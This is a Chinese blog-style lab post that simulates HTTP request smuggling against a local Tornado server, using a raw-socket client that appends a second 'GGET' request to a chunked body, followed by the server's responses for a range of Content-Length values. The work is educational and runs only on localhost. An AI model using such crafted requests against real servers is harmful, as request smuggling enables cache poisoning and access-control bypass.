笔者准备使用python尝试模拟下http请求走私的一些情况(CL-TE),我看网上用brup的比较多哈。
首先准备一个WebServer,笔者这里准备使用python和tornado (tornado这里是支持keep-alive的), 都用最新的吧。
- tornado起一个简单的web服务。
# -*- coding: utf-8 -*-
import tornado.ioloop
import tornado.web
import logging
logging.basicConfig(level=logging.DEBUG)
class MainHandler(tornado.web.RequestHandler):
def get(self):
try:
data = self.request.body.decode()
print('data: ', data)
self.write({"code": 2000, "msg": "get ok", "data": data})
except Exception as e:
print(e)
def post(self):
try:
data = self.request.body.decode()
self.write({"code": 2000, "msg": "post ok", "data": data})
except Exception as e:
print(e)
def make_app():
return tornado.web.Application([
(r"/get_demo", MainHandler),
(r"/post_demo", MainHandler)
])
if '__main__' == __name__:
app = make_app()
app.listen(address="127.0.0.1", port=9000)
print('listen 9000 success')
tornado.ioloop.IOLoop.current().start()
- python使用socket发送http协议的数据
# -*- coding: utf-8 -*-
import socket
import time
server_host = "127.0.0.1"
server_port = 9000
def main():
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((server_host, server_port))
try:
http_request = (f"GET /get_demo HTTP/1.1\r\n"
f"Host: {server_host}\r\n"
f"Transfer-Encoding: chunked\r\n"
f"\r\n"
f"3\r\n"
f"abc\r\n"
f"0\r\n"
f"\r\n"
f"GGET /get_demo HTTP/1.1\r\n\r\n"
)
client_socket.send(http_request.encode())
response_data = b""
time.sleep(1)
data = client_socket.recv(1024)
response_data += data
print("响应内容如下:")
print(response_data.decode())
except Exception as e:
print(e)
if '__main__' == __name__:
main()
这里如果同时启用Transfer-Encoding和Content-Length,tornado会出现报错(Response with both Transfer-Encoding and Content-Length)因此请求头内只给chunked,注释掉了length。
分析结果首先 /get_demo 请求成功,但是后续的 GGET /get_demo 请求会报405(405: Method Not Allowed)。
查看tornado源码,会发现httputil.py文件里的parse_request_start_line会被反复调用,直到解析http协议出错。
一次http请求让后端执行了两次解析。第二次请求其实就类似于协议走私,因为第一次请求里面夹带了私货嘛~~~
关于Content-Length的长度问题,笔者还想分享下。
一般而言,如果length的长度大于实际body内容的长度,会导致后端服务器一直等待;如果长度小于body内容,会导致后端报错(Malformed HTTP request line)。如果内容为 "abc", 则长度为5。要注意 特殊符号 "\r\n"占了2字节,需要放在"abc"后面。也就是body实际内容为 "abc\r\n",如果想包含最后一个换行和空格,也行(也就是7)。但是超过7就不行了,会导致后端一直等待。
笔者这里列出content-length分别为 1至8的全部结果,仅供参考。
f"Content-Length: 1\r\n"
f"\r\nabc\r\n\r\n"
Content-Length 1: {"code": 2000, "msg": "get ok", "data": "a"}HTTP/1.1 400 Bad Request
Content-Length 2: {"code": 2000, "msg": "get ok", "data": "ab"}HTTP/1.1 400 Bad Request
Content-Length 3: {"code": 2000, "msg": "get ok", "data": "abc"}HTTP/1.1 400 Bad Request
Content-Length 4: {"code": 2000, "msg": "get ok", "data": "abc\r"}HTTP/1.1 400 Bad Request
Content-Length 5: {"code": 2000, "msg": "get ok", "data": "abc\r\n"}
Content-Length 6: {"code": 2000, "msg": "get ok", "data": "abc\r\n\r"}
Content-Length 7: {"code": 2000, "msg": "get ok", "data": "abc\r\n\r\n"}
Content-Length 8: 无响应